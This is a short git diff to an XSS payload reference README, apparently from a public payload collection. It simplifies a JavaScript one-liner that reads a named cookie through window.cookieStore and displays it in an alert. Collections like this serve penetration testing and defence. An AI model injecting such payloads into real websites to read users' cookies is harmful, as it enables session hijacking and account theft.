diff --git a/XSS Injection/README.md b/XSS Injection/README.md index 3c5886f..fb64357 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -780,7 +780,7 @@ window["doc"+"ument"] This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements. ``` -Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{alert(cookieValue.value);}); +window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);}); ``` ### Bypass using javascript inside a string